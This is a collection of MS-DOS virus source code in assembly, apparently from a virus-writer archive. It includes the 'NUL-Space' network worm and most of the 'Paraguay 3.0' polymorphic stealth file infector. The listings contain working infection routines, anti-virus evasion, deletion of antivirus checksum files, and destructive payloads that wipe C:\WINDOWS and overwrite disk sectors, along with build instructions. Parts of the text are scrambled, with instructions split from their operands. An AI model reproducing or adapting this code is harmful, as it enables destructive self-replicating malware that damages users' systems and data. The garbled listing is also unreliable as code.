; Terminate with return code

241h dup(90h)

end head_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ

comment * ; Designed by "Q" the Misanthrope ; ; ; ; ; ; ;

This virii/worm hides is NUL-Space and Cypher Text (See my "Playing Hide and Seek" article) Once active this virus can not be detected by normal means. It hides in a file that has the same name as a NUL device driver. It also hides in a ZIP file that is password protected so AV programs won't detect it. It has an unusual payload: it creates those stupid EICAR test files all over the PC. It is network aware and only spreads by network drives. It works with Windows 95.

; tasm nulspace /m2 ; tlink nulspace /t ; copy nulspace.com c:\winstart.bat * .286 qseg

counter

segment assume org label org

byte public 'CODE' cs:qseg,es:qseg,ss:nothing,ds:qseg 00feh word 0100h

start: com_install

proc db js jns db db db db js jns db db jmp_next_part: jo jno db db password1 db random_file1 db random_ext1 db db db jmp_next_part1: ja jb db db db password2 db random_file2 db random_ext2 db db jmp_next_part2: jpe jpo db db db

near ;batch file starting "::" ;as a com file it jumps past jmp_next_part ;the batch code jmp_next_part 0dh,0ah "@CTTY NUL",0dh,0ah ;output off and change config "ECHO INSTALLHIGH=C:\WINSTART.BAT>>C:\CONFIG.SYS",0dh,0ah "IF %Q%==Q GOTO " ;used for reinfection $(go_mem_res-jmp_next_part3) $(go_mem_res-jmp_next_part3-02h) 0dh,0ah ":" jmp_next_part1 ;more stupid jumps jmp_next_part1 0dh,0ah "PKZIP -3 -- -+ -~ -S" ;compress ourselves "XXX C:\" ;use password "QUE." ;random file name "CAB C:\WINSTART.BAT",0dh,0ah "ECHO @ECHO OFF>>C:\AUTOEXEC.BAT",0dh,0ah ":" ;prepare autoexec for reinfect jmp_next_part2 ;more jumps jmp_next_part2 0dh,0ah "ECHO CTTY NUL>>C:\AUTOEXEC.BAT",0dh,0ah "ECHO PKUNZIP -) -3 -O -S" "XXX C:\" ;reinfect again "QUE." "CAB>>C:\AUTOEXEC.BAT",0dh,0ah ":" jmp_next_part3 ;more jumps jmp_next_part3 0dh,0ah ;set q=q for jmp in winstart "ECHO SET Q=Q>>C:\AUTOEXEC.BAT",0dh,0ah "ECHO CTTY CON>>C:\AUTOEXEC.BAT",0dh,0ah

db jmp_next_part3: js jns db db 0ah db db com_install endp

":" go_mem_res ;more jumps go_mem_res 0dh,0ah ;spread it around "FOR %%Q IN (%PATH% C:\) DO %COMSPEC% /F/CCOPY/B %0+%0.BAT %%Q",0dh,

go_mem_res

proc mov mov int mov mov mov int cld lds push pop mov movsw movsw mov mov add loop push pop mov 21h mov mov mov mov push pop int push pop mov mov int mov mov int endp

near ;clear environment space es,word ptr ds:[2ch] ah,49h 21h ;create NUL-Space devices di,offset scandisk_device cx,0003h ;3 of them, first is scandskw ah,52h ;get list of lists 21h

proc mov iret retf endp

near al,03h

next_device:

int

go_mem_res interrupt_24

return_far: interrupt_24

vname db scandisk_device dd dw dw dw db eicar_device dd

"CTTY CON" 1ah

;output on ;ctrl-z

si,dword ptr es:[bx+22h];get NUL device chain cs es ax,di ;point to new device to add ;put it in chain ;far pointer word ptr ds:[si-02h],cs ;point to new device word ptr ds:[si-04h],ax di,offset eicar_device-scandisk_device-04h next_device ;do eicar and winstart device cs ;hook interrupt 21 ds ax,3521h word ptr ds:[previous_hook],bx word ptr ds:[previous_hook+02h],es ax,2518h ;save old interrupt 21 as 18 dx,bx es ds 21h cs ds dx,offset resident_isr21 al,21h 21h ah,31h ;go memory resident dx,((tail-com_install+0110h) SHR 4) 21h

" NUL-Space " -1 8004h return_far return_far "SCANDSKW" -1

;fiddly little critical error ;handler ;retf for NUL device routines

;our 3 new NUL-Space devices ;nul character attributes ;do nothing routines ;stop scandskw in windows 95

dw dw dw eicar_dev_name db winstart_device dd dw dw dw win_dev_name db winstart_file db eicar_drive db eicar_file db eicar_ext db drive_number dw

8004h return_far return_far "EICAR " -1 8004h return_far return_far "WINSTART" "C:\WINSTART.BAT",00h "C:" "EICAR." "QUE",00h 27

eicar

proc

near

xor ax and ax

ax,214Fh

xor ax

al,5Ch

xor ax

ax,2834h

sub

[bx],si

sub jge db dec sub db label endp

[bx],si terminate 'EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$' ax cx,[bx+si+2Ah] 0dh,0ah byte

proc mov xor 43h,al cx al,40h cx,ax loop cx al,1fh al,'A' al,'Z' nameit al,42 stosb mov inc in setname retn endp

near cx,0003h ax,ax

;3 byte random file ;random name at ds:si & ds:di

around

;psuedo random delay

;protect those stupid eicar ;files while we infect

;finally protect ourselves ;file name to replicate

;stupid EICAR file

pop ax push push pop bx push pop dx pop ax push pop si

ax,4140h

inc bx inc bx

eicar_text terminate:

eicar_length eicar create_random3 setname: out push in mov around: pop and add cmp jbe sub nameit:

incloop: loop create_random3

;32 letters possible

;if above Z then make it 1-6 ;save random name byte ptr es:[si],al si al,40h ;get the high byte

resident_isr21

infect_now:

next_drive:

save_letter: check_next:

eicar_dropper:

proc pusha push push pushf push pop cld inc jz jmp mov int push pusha mov mov int push pop mov cmp jb mov inc mov mov int jc xchg add mov mov test jz mov mov call mov mov call cmpsb call mov mov pusha call popa cmpsw call mov mov mov xor xor int mov jc mov mov jmp mov mov

near ds es cs ds word ptr ds:[counter] infect_now not_infect_now ax,3524h 18h es

;only infect every 65536 times ;into interrupt 21h ;set critical error handler

dx,offset interrupt_24 ;our handler ah,25h 18h cs es ;get drive to infect bx,word ptr ds:[drive_number] bx,27 ;is it past drive Z: ? save_letter bl,02h bx ;inc and save for next time word ptr ds:[drive_number],bx ax,4409h ;see if network or local drive 18h next_drive ;if neither get next drive ax,bx al,"@" ;save drive letter byte ptr ds:winstart_file,al byte ptr ds:eicar_drive,al dh,10h ;test for network eicar_dropper ;if local then drop EICARs di,offset password1 ;create new cypher text file si,offset password2 ;to be made from winstart create_random3 di,offset random_file1 ;random file name si,offset random_file2 create_random3 create_random3 ;and random extension di,offset eicar_file ;random file name si,offset eicar_dev_name create_random3

create_random3 ;and more random name dx,offset winstart_file ;create worm di,offset win_dev_name ;disable nul-space driver ah,5bh ;create new file byte ptr ds:[di],ah cx,cx ;normal attributes 18h byte ptr ds:[di],"W" ;set nul-space driver back unable_infect dx,0100h ;point to start of winstart cx,offset previous_hook-start short write_file ;create file di,offset eicar_ext ;create EICAR file si,di ;random extension

call mov mov xor mov mov int mov mov mov write_file: mov xchg int mov mov int mov int unable_infect: popa pop mov int not_infect_now: popf pop_it: pop pop_ds_and_all: pop popa resident_isr21 endp

create_random3 di,offset eicar_dev_name ah,5bh ;create new file byte ptr ds:[di],ah ;disable nul-space driver dx,offset eicar_drive ;point to file cl,07h ;readonly, hidden and system 18h byte ptr ds:[di],"E" ;enable nul-space again dl,low(offset eicar) ;point to EICAR file cl,low(offset eicar_length-eicar) bh,40h ;write EICAR or winstart file ax,bx 18h ax,5701h ;set date dx,229fh 18h ah,3eh ;close it 18h ;done es dx,bx ;set critical error back 18h

far_jmp

proc 0eah label endp

near

org label ends end

$+04h byte

db previous_hook: far_jmp

tail qseg

es ds

double

start

;previous interrupt 21

Comment # ßÛßßßßßÜ ßÜ Üß Ü ÜÜÜÜ Ü Ü Üßßß Û Û Û Û Û ÛÜß Û Û ßßÛ Û Û ß ß Û Û ßß ßßß ÛÜÜÜÜÜß ÜÜÜ Ü ÜÜ ÜÜÜ ß Ü Ü ÜÜÜ Ü Ü Û Û Ûß Û ÜßßßÜ Û Û Û Û Û Û ÜßßÛ Û ÜßßÛ Û Û Û Û ÜßßÛ ßÜÜÛ ÜÛÜ ßÜÜÛÜ Û ßÜÜÛÜ ßÜÜÜÛ ßÜÜß ßÜÜÛÜ Û Û Û ßÜÜß ßÜÜß

ßßÜ ÜßßÜ ßÜ Û Û ßß ß ßß

ÄÄÄÄÄÄÄÄÄ Ä Ä ú Coded by Int13h in Paraguay, South America ú Ä Ä ÄÄÄÄÄÄÄÄÄ Characteristics ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ * Appending COM/EXE infector. COMs > 666 and < 60000 bytes * Resident using Memory Control Block (MCB), hooks INT 21h. * Fast infector. Infects on open, execution, rename, extended open and get/change attributes. * Doesn't reinfect memory or files. * Directory and Handle stealth. Hides virus-size on ah=11h/12h/4eh/4fh. * Turns off VSAFE's flags while analyzing or infecting files. When the dirty work is finished, the flags are returned, except of the 'Write Protect' one, coz caches may make troubles. * Time Stealth (AX=5700h and 5701h), returns correct seconds and prevents any program from setting normal seconds to an infected file. * Handler Stealth (AX=2521H and 3521H), returns previous handler for INT 21h when someone requests it, and when any program wants to get control over INT 21h, it sets it as second handler, this way, the virus is always first at INT 21h. * Gets INT 21h vector tracing the Progam Segment Prefix (PSP), and if it finds it, it uses this one, otherwise it uses INT 21h normally. * Deactivates trap flag and INT 01h, in order to avoid tunneling on any int we hook. * On May (Paraguayan's independence day), if we get a random byte over 200, the virus dels every file and subdirectories on stinky and filthy C:\WINDOWS, setting it as an alternative entrance to DOS (from old CP/M). * It dels ANTI-VIR.DAT, CHKLIST.CPS, CHKLIST.MS and AVP.CRC in the dir where files are infected. * Files infected are set to 60 seconds. * Doesn't infect files ended with AN,AV,OT,RD,RU,IT,VP,SK,IP,RJ,AR,HA so we dont have probs with suckers. Whenever it detects an execution of any file with these endings, it deactivates stealth. Then there are no problems with compressing programs (pkzIP, aRJ, rAR, lHA) and various AV's. Whenever the program terminates its execution (AH=4Ch/int 21h or INT 20h) it reactivates stealth. * Sets its own code for handling Errors. * Avoids infecting immunized files (CPAV) and DOS 7.0 .COM's. * There's no viral activity if Novell Network is detected. * It doesn't infect WINSLOWS .EXE files. * It doesn't infect with a different length from that specified on the header (overlayed .EXE's). * Maintains Date + Time (sets seconds to 60 ;-). * Returning control to .COM tries to infect COMMAND.COM. Returning contorl to .EXE verifies the payload condition. * Opens files in 'Read Only' mode, and manipulates the System File Table to change to 'Read/Write' mode, save attribs and set them to normal. It also resets the pointer. * Kinda polymorphic, with random regs selection and garbage adding in the decryptor. The opcodes table changes on each infection.

TO COMPILE IT * tasm parag-30.asm /m3 * tlink parag-30.obj

( I TASM, so I am )

Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz Methyl : Superx : Tcp : Mister Sandman: Sepultura : GriYo : Jacky Qwerty : Drako [DAN] :

hello prince of tunneling! a mov ax,04202h takes in your code just a nibble :) your disassemblies rock Metallica rulesss X-DDDD come back to da scene, mate. disinfection-on-the-fly equ desinfectar-a-la-mosca ;-) you can infect even a particle acelerator :) holas. [email protected] no funciona :-( Saludos!

Also greetz to the gods: Vyvojar, F3161, Neurobasher, Masud & Dark Avenger. # .Model Tiny .Code Org 0h

Longitud Largor VirusEnPara Saltarlos Cripted ParraVir1 ParraVir2

; .Pseudocode would be better hehehe ; Yes, yes, yes; It's an EXE

equ equ equ equ equ equ equ

(offset FakeHoste-offset Paraguay) (offset Omega-Offset Paraguay) (Largor+15)/16 (offset Jeroglifico-offset Paraguay) ((offset Omega-offset Jeroglifico)/2) ((Longitud+15)/16)+1 ((Longitud+15)/16)

Paraguay: db 18 dup (090h) call Paso1 Paso1: nop pop bp Paso2: sub bp,offset Paso1 Junk02: db 8 dup (090h) Paso3: mov bp,bp Junk03: db 4 dup (090h) push cs pop ds Junk04: db 12 dup (090h) Paso4: lea si,[bp+offset Jeroglifico] Junk05: db 6 dup (090h) Paso5: db 081h,0c6h,0,0 Junk06: db 10 dup (090h) Paso6: push si Junk07: db 4 dup (090h) Paso7: mov cx,Cripted/2 Junk08: db 8 dup (090h) Paso8: add cx,Cripted/2 Junk09: db 6 dup (090h)

Desencriptor: Paso9: db 081h,034h Clave dw 0 Junk10: db 14 dup (090h) Paso10: inc si inc si

; Buffer ; Delta Offset

; ; ; ; ;

In BP goes delta (variable) In all labels Junk, garbage. Used registers are selected randomly by the rnd code. DS:=CS

; Index Register is variable ; ADD SI,0000 ; Stack return address ; so RET jumps there. ; CX value is divided

; Hence the decryptor #:) ; XOR WORD PTR [SI],CLAVE

; It may be SI,DI or BX

Junk11: db 4 dup (090h) Loop Desencriptor Junk12: db 8 dup (090h) ret Junk13: db 16 dup (090h)

; Waste, waste, waste...

Jeroglifico: push es pop ds mov ah,2 int 16h

; ; ; ;

mov ax,0db00h int 21h or al,al jz NoHayNovell jmp MemoriaYaPodrida NoHayNovell: mov ax,0cd13h int 21h cmp ax,013cdh jne Instalar jmp MemoriaYaPodrida Instalar: push es mov ax,3521h int 21h mov cs:[bp+word mov cs:[bp+word mov cs:[bp+word mov cs:[bp+word

; Jumps into decryted or RETurns. ; It's needless, but just i put it. Encrypted Virus Replace DS, in case it is an EXE DS:=ES TBCLEAN intended.

; Verify whether NETX.EXE ; from Novell Network is ; resident. ; If Novell's there, dont infect.

; Hell Good Interruption! ;) ; Residency test. ; Load virus into memory.

; Reserve room in ; "R.A.M." Hotel :) ; Old INT 21h handler. ptr ptr ptr ptr

Abuela21h],bx Abuela21h+2],es Real21h],bx ; In case PSP tracing fails. Real21h+2],es

mov ax,3520h ; Old INT 20h handler. int 21h mov cs:[bp+word ptr Interrupcion20h],bx mov cs:[bp+word ptr Interrupcion20h+2],es push ds ; Data Segment to stack lds bx,ds:[0006h] ; Tracear:cmp byte ptr ds:[bx],0eah ; jne Chekear ; lds bx,ds:[bx+1] cmp word ptr ds:[bx],9090h ; jnz Tracear sub bx,32h cmp word ptr ds:[bx],9090h ; jne Chekear Hallado:mov cs:[bp+word ptr Real21h],bx ; mov cs:[bp+word ptr Real21h+2],ds jmp short MCBTSR Chekear:cmp word ptr ds:[bx],2e1eh jnz MCBTSR add bx,25h cmp word ptr ds:[bx],80fah je Hallado

MCBTSR: pop mov dec mov

ds ax,ds ax es,ax

Search for original INT 21h handler in PSP. Thanks Satan's Little Helper Search for double NOP

"

"

"

"

Save found address

; Unload Data Segment from stack ; Get resident using ; <----- MCB

mov ax,es:[3] sub ax,ParraVir1 xchg bx,ax push ds pop es mov ah,4ah int 21h

; ; ; ;

mov ah,48h mov bx,ParraVir2 int 21h

; Allocate memory

dec mov mov mov inc mov xor

ax es,ax word ptr es:[1],8 word ptr es:[8],'PY' ax es,ax di,di

Memory Substract virus length in paragraphs (16 bytes) ES:=DS

; Free unused memory

; Virus? Nope... its DOS ;) ; Block's name: PY (Paraguay)

push cs pop ds lea si,[bp+offset Paraguay] mov cx,Longitud rep movsb

; Copy virus to free segment

int 03h

; 4 DEBUG!

xor mov mov mov mov

ax,ax ds,ax dx,offset Maldita21h word ptr ds:[21h*4],dx ds:[21h*4+2],es

; DS:=0 ; Gets INT 21h directly ; modifying the IVT

mov mov mov pop

dx,offset Inty20h word ptr ds:[20h*4],dx ds:[20h*4+2],es es

MemoriaYaPodrida: cmp byte ptr [bp+ComOexe],'C' je CorrerCOM

; From the begining ; CX bytes

; Gets INT 20h

; Extra Segment saved

; What are we infecting?

mov ah,2ah int 21h

; System's date.

cmp dh,05 jne SigaNomas

; Independence month!!

in ax,40h cmp al,200d jb SigaNomas

; Trivial Randomic Generator.

push cs pop ds

; DS:=CS

mov ah,03bh lea dx,[bp+Offset WindoSucks] int 21h jc LittleDamage

; Enter the directory ; Error Hmmm Lets fuck it anyway! ;)

lea ax,[bp+offset ImprimirCadena] push ax ; Stack Return Address

push cs pushf mov cl,13h lea dx,[bp+offset FCBTrucho] sub ax,ax push ax mov ax,00c0h push ax retf LittleDamage: in ax,40h xchg dx,ax xor dh,dh mov al,2 mov cx,2 int 26h ImprimirCadena: push cs pop ds mov ah,9 lea dx,[bp+offset CopyWrong] int 21h xor ax,ax int 16h SigaNomas: push es pop ds

; ; ; ; ;

Our Code Segment And the flags Delete using FCB (Function in cl) The diabolic table 0 Segment

; Offset 0c0h = alternative entrance ; Jmp there!

; Just between the first 0xff sectores ; Drive C: ; Smashs two random sectors

; Social Presentation

; Print Copyright

; It even pauses! :)

; Correct Data Segment

mov bx,bp

; F-Prot's guilty for this

mov ax,es add ax,10h add cs:[(bx+CS_IP)+2],ax

; Because of the PSP

cli add ax,cs:[(bx+SS_SP)+2] mov ss,ax mov sp,cs:[bx+SS_SP] sti

; Stop ints

call Limpiar

; Reinitialize registries

db 0ebh,0h db 0eah CS_IP dw offset FakeHoste,0h SS_SP dw 0,0

; Free the prefetch queue ; Jump to EXE's CS:IP

CorrerCOM: call Segmentos mov ah,56h lea dx,[bp+offset CommandCom] mov di,dx int 21h lea si,[bp+offset Vafer] mov di,100h push di cld

; Its stack segment ; and its stack pointer ; Free ints

; Its SS:SP

; ; ; ;

Rename! Hehe, just to infect COMMAND.COM, making sure we get on memory early each day in the morning.

; Its original bytes... ; 100h to stack

movsb movsw Limpiar:xor xor xor xor xor xor xor ret

ax,ax bx,bx cx,cx dx,dx si,si di,di bp,bp

Stealth_Segundos2: push dx push cx mov ax,5700h pushf call dword ptr cs:[Real21h] and cl,00011111b cmp cl,00011110b jne Tranquilopa pop cx and cl,11100000b or cl,00011110b push cx Tranquilopa: pop cx pop dx mov ax,5701h pushf call dword ptr cs:[Real21h] iret

Stealth_Segundos1: pushf call dword ptr cs:[Real21h] push cx and cl,00011111b cmp cl,00011110b jne NoPasaNada pop cx and cl,11100000b or cl,1 push cx NoPasaNada: pop cx iret

Maldito_Jump2: jmp Stealth2 Maldito_Jump3: jmp Analizar

; Return its old bytes.

; Clean registers

; Run COM or return to caller

; Saves originals ; Get date & time of the given handle

; ¨60 seconds? ¨Infected?

; Marks as infected ; 30*2=60!

; Set the date & time

; Do the real int

; ¨60 seconds?

; Erase erronous infect mark ; 1*2=2 seconds

; Worst opcodes are those short ; jumps of 128 bytes! :-(

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Maldita21h: Its the INT 21h handler set by Paraguay 3.0 ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Maldita21h proc far ; My INT 21h push ds

push si push ax push bx pushf pop ax and ah,11111110b push ax popf sub ax,ax mov ds,ax mov bx,4 lds si,[bx] mov bl,byte ptr [si] mov byte ptr [si],0cfh pop bx pop ax pop si pop ds cmp ax,0cd13h je Chequeo cmp ax,03521h je Ocultar21h_A cmp ax,02521h je Ocultar21h_B cmp ax,05700h je Stealth_Segundos1 cmp ax,05701h je Stealth_Segundos2 cmp ah,11h je Stealth1 cmp ah,12h je Stealth1 cmp ah,4eh je Maldito_Jump2 cmp ah,4fh je Maldito_Jump2 cmp ah,04bh je Maldito_Jump3 cmp ah,056h je Maldito_Jump3 cmp ah,043h je Maldito_Jump3 cmp ah,3dh je Maldito_Jump3 cmp ax,6c00h je Maldito_Jump3 cmp ah,4ch je SalidaProg db 0eah Abuela21h dw 0,0 Chequeo:xchg ah,al iret Maldita21h endp

; Saving the registers I'll use.

; ; ; ;

Get flags into AX Zero out Trap Flag used for tunneling And load modified flags from AX

; ; ; ; ;

DS:=0 = IVT 0000:0004 = Int 1h handler DS:SI = " " " Handler's first byte in bl That is an InterruptionRETurn

; Restore registers

; Memory Check ; Hide Int21h ; Protect Int21h ; Hide wrong secs ; Protect wrong secs ; FCB finding first ; FCB finding next ; Finding first ; Finding next ; Program execution ; Rename files ; Get/Set attribs ; Open ; Extended Open ; Program end... ; Normal INT, uninteresting :) ; Yes!!!! Here we are.

SalidaProg: ; Int 21h/4Ch to end the program mov byte ptr cs:[HacerStealth],1; Set stealth flag jmp dword ptr cs:[Abuela21h]

Inty20h:

; Int 20h ending (4 some old COMs) mov byte ptr cs:[HacerStealth],1; Set stealth flag

db 0eah Interrupcion20h dw 0,0

Ocultar21h_A: mov bx,cs:[word ptr Abuela21h] ; Old handler into ES:BX mov es,cs:[word ptr Abuela21h+2] iret Ocultar21h_B: mov cs:[word ptr Abuela21h],dx ; Set DS:DX as second handler mov cs:[word ptr Abuela21h+2],ds; in the chain. iret ; Viruses first ;)

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Stealth1: Edit File Control Block size to hide the al virus ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Stealth1: ; FCB stealth pushf call dword ptr cs:[Abuela21h] or al,al ; al = 0? jne ErrorDir ; Puaj! Error :-( push ax push bx push es mov ah,62h int 21h mov es,bx cmp bx,es:[16h] jne Fuera

; Save this regs into the stack

; PSP: where is it?

; Correct PSP? ; Nope, chau.

mov bx,dx mov al,[bx] push ax

; Points to original FCB in the PSP

mov int pop inc jne add

ah,2fh 21h ax al FCBComun bx,7

; In ES:BX there is DTA's address

al,byte ptr es:[bx+17h] al,00011111b al,00011110b Fuera

; True Seconds...

FCBComun: mov and cmp jne

; Save AX for later comparison

; Reget AX (AL=ffh or AL=1) ; Which FCB-type? ; Its extended, turn it normal

; 60 seconds?

cmp word ptr es:[bx+1dh],(Largor+200) ja Sustraer ; If greater than virus, substract. cmp word ptr es:[bx+1fh],0 je Fuera

; Too small as to be infected

Sustraer: sub word ptr es:[bx+1dh],Largor sbb word ptr es:[bx+1fh],0000 ; Substract virus size or byte ptr es:[bx+17h],1 ; Hide the seconds

Fuera:

pop es pop bx pop ax ErrorDir: retf 2

; Pop modified regs

; IRET maintaining flags

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Stealth2: Edit Disk Transfer Area size to hide the virus ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Stealth2: ; Handle stealth pushf call dword ptr cs:[Abuela21h] jc Demonios ; If carry is set...-ERROR! cmp byte ptr cs:[HacerStealth],0; Is stealth off? je Demonios pushf push ax push es push bx mov ah,2fh int 21h

; DTAddress ; in ES:BX

mov and cmp jne

; Unhide the seconds

ax,es:[bx+16h] al,00011111b al,00011110b Paso

; 60 segundos?

cmp word ptr es:[bx+1ah],(Largor+200d) jb Paso ; Verify size sub word ptr es:[bx+1ah],Largor ; Substract virus sbb word ptr es:[bx+1ch],0000 or byte ptr es:[bx+16h],1 ; Hide seconds Paso:

pop bx pop es pop ax popf Demonios: retf 2

; RETurn

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Manejador24h: Pseudo-error-handler, so as to avoid write protect errors ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Manejador24h proc near ; Dumb critic error handler mov al,03 iret ; -It's nothing, officer... Manejador24h endp

Maldito_Jump4: jmp PopAll SoloPopear: jmp JustPOPs

; 128 byte shit junk

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Analizar: Analize and eventual infection of file given in DS:DX ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Analizar: ; Examine victim pushf push ax push bx push cx push dx push si push di push ds push es cmp ax,6c00h jne No_Apertura_Extendida

; Special case DS:SI

cmp dx,0001 jne SoloPopear

; Standard open

mov dx,si

; Now its DS:DX also

No_Apertura_Extendida: push ax push dx push ds

; V¡ctim

mov ax,3524h ; Int 24h Handler int 21h mov word ptr cs:[Vieja24h],bx mov word ptr cs:[(Vieja24h)+2],es push cs pop ds mov ax,2524h mov dx,offset Manejador24h int 21h

; Pipe it

mov mov mov int mov

; Turn off VSAFE's flags ; ; New flags = 0

ax,0fa02h dx,5945h bl,00000000b 21h byte ptr cs:[Vsuck],cl

pop ds pop dx push ds pop es pop ax cld mov di,dx mov cx,128 mov al,'.' repne scasb jne Maldito_Jump4

; Save flags for later ; Candidate in DS:DX

; Search jumping .

push ax mov ax,word ptr es:[di-3] or ax,02020h cmp ax,'na' je Actuar cmp ax,'va'

; Dont infect undesirable! ; scAN / cleAN / tbscAN / tbcleAN ; tbAV / nAV

je Actuar cmp ax,'to' je Actuar cmp ax,'dr' je Actuar cmp ax,'ur' je Actuar cmp ax,'ti' je Actuar cmp ax,'pv' je Actuar cmp ax,'ks' je Actuar cmp ax,'pi' je Actuar cmp ax,'jr' je Actuar cmp ax,'ra' je Actuar cmp ax,'ah' je Actuar pop ax jmp short IsNotEvilSoft Actuar: pop cmp jne mov jmp

; fool-prOT ; guaRD ; findviRU ; toolkIT ; aVP ; chkdSK ; pkzIP ; aRJ ; rAR ; lHA

ax ah,04bh ; Will junk be exec'ed? Maldito_Jump5 byte ptr cs:[HacerStealth],0; Turn stealth off short Maldito_Jump5

IsNotEvilSoft: xchg si,di lodsw or ax,2020h cmp ax,'oc' jne VerEXE3 lodsb or al,20h cmp al,'m' je Label3 Maldito_Jump5: jmp PopAll

; Check ext ; Uncapitalize ; .CO?

; .COM?

; Abort mission

VerEXE3:cmp ax,'xe' jne Maldito_Jump5 lodsb or al,20h cmp al,'e' jne Maldito_Jump5

; .EX?

Label3: mov ax,3d00h pushf call dword ptr cs:[Real21h] jc Maldito_Jump5 xchg bx,ax mov word ptr cs:[Handle],bx

; Open host in read-only ; mode

; .EXE?

; Handle into BX

push cs pop ds mov ax,4301h mov dx,offset Basura1 sub cx,cx

; Get ANTI-VIR.DAT attrib naked

Conti:

pushf call dword ptr cs:[Real21h]

; Call handler directly

mov ah,41h mov dx,offset Basura1 int 21h

;

mov ah,41h mov dx,offset Basura2 int 21h

; Chau CHKLIST.MS

mov ah,41h mov dx,offset Basura3 int 21h

; C ya CHKLIST.CPS

mov ah,41h mov dx,offset Basura4 int 21h

; Good luck AVP.CRC

mov ax,5700h pushf call dword ptr cs:[Real21h] mov word ptr cs:[Time],cx mov word ptr cs:[Date],dx and cl,00011111b cmp cl,00011110b jne Conti jmp Maldito_Jump6

; Time and Date please ; Call handler directly

call Segmentos mov ah,3fh mov cx,45d mov dx,offset Cabecera int 21h

; Set working segments ; Read from the beginning ; 45 bytes to our buffer

mov si,dx cmp word ptr [si],'ZM' je InfectarEXE cmp word ptr [si],'MZ' je InfectarEXE

; Is it a True EXE?

InfectarCOM: push bx mov ah,30h int 21h pop bx cmp al,7 jae Maldito_Jump6 call AlFinal cmp ax,60000d ja Maldito_Jump6 cmp ax,029Ah jbe Maldito_Jump6

; 30*2= ¨60? ; Already infected?

; Other way

; Notice .COM files ; Save handle

; And restore it here ;) ; Dare not touch the COMs ; from DOS 7 or above

; Check size ; Hi there spanish pals ;-)

cmp word ptr [si+11d],'TW' je Maldito_Jump6

; CPAV immunized?

mov byte ptr [COMoEXE],'C' mov di,offset Vafer movsb

; Mark as .COM ; which we will write into 100h after

movsw sub ax,3 mov word ptr [Salto+1],ax

; JMP

call HIPOCRESIA

; Change the face. -HIPOCRITE! ;)

mov bx,[Handle]

; Handle in BX

call Manipular_SFT

; Modify SFT info

mov mov mov int

; ADD file,virus

ah,40h cx,Largor dx,offset CopiaVir 21h

mov word ptr es:[di+015h],00 mov word ptr es:[di+017h],00

; Pointer to the beginning SFT

mov mov mov int

; Write the JMP

ah,40h cx,3 dx,offset Salto 21h

inc word ptr [Contador]

; One more ;)

mov cl,byte ptr [Atributos] mov byte ptr es:[di+4],cl

; Return its original attribs

call PongoFecha Maldito_Jump6: jmp Cerrar

; Restore date and time

InfectarEXE: cmp word ptr [si+018h],0040h jae Maldito_Jump6

; Notice .EXE ; If Windoze let it rot

; Close and go

cmp word ptr [si+01ah],0000 jne Maldito_Jump6

; Overlay?

cmp word ptr [si+43d],'TW' je Maldito_Jump6

; Sucked with CPAV's code?

call AlFinal mov cx,512d div cx or dx,dx je NoHayResto inc ax NoHayResto: cmp word ptr [si+02h],dx jne Maldito_Jump6 cmp word ptr [si+04h],ax jne Maldito_Jump6 mov byte ptr [COMoEXE],'E' call AlFinal push dx push ax

; See if not overlayed ; Is multiple?

; Do partial page bytes match? ; Total page bytes match ; real size? ; EXE marked ; Size

les ax,dword ptr [(Cabecera+014h)]

mov mov les mov mov

[CS_IP],ax ; [(CS_IP+2)],es ; ax,dword ptr [(Cabecera+0eh)] word ptr [SS_SP],es ; word ptr [(SS_SP+2)],ax ;

The world-wide known CS:IP and the not less well-known SS:SP CS:IP (Intel Reversed Word Format) SS:SP (Non " " " " )

mov ax,word ptr [(Cabecera+08h)] mov cl,4 shl ax,cl xchg bx,ax pop ax ; Pop size pop dx push ax push dx ; Repush sub ax,bx sbb dx,0 mov cx,10h div cx ; Turn into segmented style mov word ptr [(Cabecera+014h)],dx mov word ptr [(Cabecera+016h)],ax mov word ptr [(Cabecera+0eh)],ax mov word ptr [(Cabecera+010h)],0 pop dx pop ax

; Pop size one more time

add ax,Largor adc dx,0 mov cl,9 push ax shr ax,cl ror dx,cl or dx,dx stc adc dx,ax pop ax and ah,1 mov word ptr [(Cabecera+4)],dx mov word ptr [(Cabecera+2)],ax

; Host+Virus size

; Garbage

mov ax,word ptr [(Cabecera+0ah)]; MinAlloc clc add ax,VirusEnPara jc NoAgregarMemoria ; If carry dont add mov word ptr [(Cabecera+0ah)],ax NoAgregarMemoria: ; MaxAlloc, underneath mov word ptr [(Cabecera+0ch)],0ffffh call HIPOCRESIA

; Change yer face. -HIPOCRITE!

